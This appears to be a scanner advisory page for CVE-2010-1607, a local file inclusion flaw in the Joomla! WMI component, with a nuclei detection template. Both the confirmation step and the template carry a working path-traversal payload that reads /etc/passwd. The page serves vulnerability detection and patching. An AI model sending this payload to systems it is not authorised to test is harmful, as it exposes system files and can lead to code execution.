Joomla! Component WMI 1.5.0 - Local File Inclusion

mediumseverity

6.8CVSS score

8.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in wmi.php in the Webmoney Web Merchant Interface (aka WMI or com_wmi) component 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.

Fix

Update Joomla! Component WMI to the latest version or apply the provided patch to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1607 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1607

info:
  name: Joomla! Component WMI 1.5.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wmi.php in the Webmoney Web Merchant Interface (aka WMI or com_wmi) component 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Update Joomla! Component WMI to the latest version or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12316
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1607
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58032
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1607
    cwe-id: CWE-22
    epss-score: 0.08177
    epss-percentile: 0.94909
    cpe: cpe:2.3:a:paysyspro:com_wmi:1.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: paysyspro
    product: com_wmi
  tags: cve,cve2010,joomla,lfi,edb,paysyspro,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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